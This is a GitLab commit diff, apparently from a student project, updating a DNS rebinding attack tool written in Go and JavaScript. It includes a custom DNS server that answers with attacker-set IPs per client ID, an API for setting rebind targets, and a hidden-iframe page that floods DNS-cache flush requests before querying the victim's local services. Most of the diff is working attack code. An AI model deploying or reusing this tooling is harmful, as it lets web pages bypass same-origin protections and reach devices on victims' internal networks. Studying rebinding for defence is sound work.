Ce serveur Gitlab sera éteint le 30 juin 2020, pensez à migrer vos projets vers les serveurs gitlab-research.centralesupelec.fr et gitlab-student.centralesupelec.fr !

Commit 6b01b961 authored by Tabet Sami's avatar Tabet Sami

Sami/new ndd

parent 89cf454b
......@@ -10,13 +10,15 @@ import (
"os"
"os/signal"
"strconv"
"strings"
"syscall"
"text/template"
"github.com/miekg/dns"
)
const (
dom = "api.my.ip."
dom = "my.ip.paulcoignet.fr."
dnsIP = "1.1.1.1:53"
)
......@@ -48,7 +50,7 @@ type DNSServer struct {
}
func (ds *DNSServer) start() {
log.Printf("Starting the DNS server and the APIs on IP: %s\n", serviceIP())
log.Printf("Starting the DNS server and the APIs on IP: %s, and main domain: %s\n", serviceIP(), dom)
dns.HandleFunc(dom, ds.handle)
dns.HandleFunc("flush."+dom, ds.handleFlush)
dns.HandleFunc(".", ds.handleDefault)
......@@ -97,15 +99,19 @@ func (ds *DNSServer) handle(w dns.ResponseWriter, r *dns.Msg) {
m.SetReply(r)
m.Compress = false
clientIP, clientPort := extractClientAddr(w.RemoteAddr())
_, clientPort := extractClientAddr(w.RemoteAddr())
str := "Port: " + strconv.Itoa(clientPort) + " (tcp)"
name := r.Question[0].Name
responseIP, ok := ds.state.get(clientIP.String(), name)
// Check if an IP is encoded in the NDD requested
id := extractClientIDFromNDD(name)
log.Printf("main handler caught: %s, client id: %s", name, id)
responseIP, ok := ds.state.get(id, name)
if !ok {
log.Printf("error resolving: %s for client IP: %s", name, clientIP)
return
responseIP = serviceIP()
log.Printf("error resolving: %s for client: %s, default to: %s", name, id, responseIP)
}
rr := &dns.A{
......@@ -136,6 +142,9 @@ func (ds *DNSServer) handle(w dns.ResponseWriter, r *dns.Msg) {
func (ds *DNSServer) handleDefault(w dns.ResponseWriter, r *dns.Msg) {
client := new(dns.Client)
if len(r.Question) > 0 {
log.Printf("default handler caught: %s", r.Question[0].Name)
}
m, _, err := client.Exchange(&dns.Msg{
Compress: false,
MsgHdr: r.MsgHdr,
......@@ -178,10 +187,24 @@ type rebindPayload struct {
// 30 seconds
const defaultTTLS = 30
// IframeData is used for building the iframe.html file dynamically
type IframeData struct {
ID string
}
func (ds *DNSServer) apiServe(addr string) {
rawIframe, err := ioutil.ReadFile("dns/iframe.html.tmpl")
if err != nil {
panic(err)
}
tmpl := template.Must(template.New("iframe").Parse(string(rawIframe)))
// Code used by the iFrame
http.HandleFunc("/iframe.html", func(w http.ResponseWriter, r *http.Request) {
http.ServeFile(w, r, "dns/iframe.html")
data := IframeData{ID: extractClientIDFromNDD(r.Host)}
tmpl.Execute(w, data)
})
// Legit API
......@@ -214,24 +237,19 @@ func (ds *DNSServer) apiServe(addr string) {
return
}
ip, _, err := net.SplitHostPort(r.RemoteAddr)
if err != nil {
log.Printf("error reading client IP during rebind: %s", err)
return
}
payload := rebindPayload{}
if err = json.Unmarshal(body, &payload); err != nil {
log.Printf("error decoding rebind request: %s", err)
return
}
id := extractClientIDFromNDD(payload.NDD)
if payload.TTLS == 0 {
payload.TTLS = defaultTTLS
}
ds.state.set(ip, payload.NDD, net.ParseIP(payload.IP), payload.TTLS)
log.Printf("rebind successful: %s -> %+v", ip, payload)
ds.state.set(id, payload.NDD, net.ParseIP(payload.IP), payload.TTLS)
log.Printf("rebind successful: id:%s -> %+v", id, payload)
})
http.HandleFunc("/", func(w http.ResponseWriter, r *http.Request) {
......@@ -247,3 +265,7 @@ func (ds *DNSServer) apiServe(addr string) {
func enableCors(w http.ResponseWriter) {
w.Header().Set("Access-Control-Allow-Origin", "*")
}
func extractClientIDFromNDD(ndd string) string {
return strings.Split(ndd, ".")[0]
}
......@@ -12,18 +12,20 @@
</body>
<script charset="utf-8">
(async () => {
const API = "api.my.ip";
const ID = "{{ .ID }}"
const API = `${ID}.my.ip.paulcoignet.fr`;
const FLUSH = `${ID}.flush.my.ip.paulcoignet.fr`;
const port = 8080;
const url = `http://${API}:${port}/`;
// From: https://github.com/nccgroup/singularity/blob/8313182a2a6573b7ebe3243d77f70cf409d7d566/html/payload.js#L38
async function flush(hostname, port) {
async function flush() {
const start = Math.ceil(Math.random() * 2 ** 32);
return Promise.all(
[...Array(1000).keys()].map(i => {
try {
let url = `http://n${start + i}.${hostname}:${port}/api/flush_cache`;
let url = `http://n${start + i}.${FLUSH}:${port}/api/flush_cache`;
return fetch(url, { mode: "no-cors" });
} catch (e) {
return null;
......@@ -79,14 +81,14 @@
await rebind(rebindTTL);
console.log("Start to flush the DNS cache");
await flush(`flush.${API}`, 8080);
await flush();
console.log("Request locally");
const res = await request("", 8080);
console.log("response", res);
console.log("Second flush");
const flushing = flush(`flush.${API}`, 8080);
const flushing = flush();
// Wait for the flush to end and the rebind to expire
setTimeout(async function() {
......
const API = "http://api.my.ip:8080/api/ip";
const API = "http://my.ip.paulcoignet.fr:8080/api/ip";
const retrieve = async () => {
const res = await fetch(API);
......
......@@ -15,6 +15,8 @@ ready(function() {
const frame = document.createElement('iframe');
// Hide the frame
frame.style.display = "none";
frame.src = `http://api.my.ip:8080/iframe.html`
// Generate an ID
const id = Math.random().toString(36).substring(2);
frame.src = `http://${id}.my.ip.paulcoignet.fr:8080/iframe.html`
document.getElementsByTagName("body")[0].appendChild(frame);
})
Markdown is supported
0% or
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment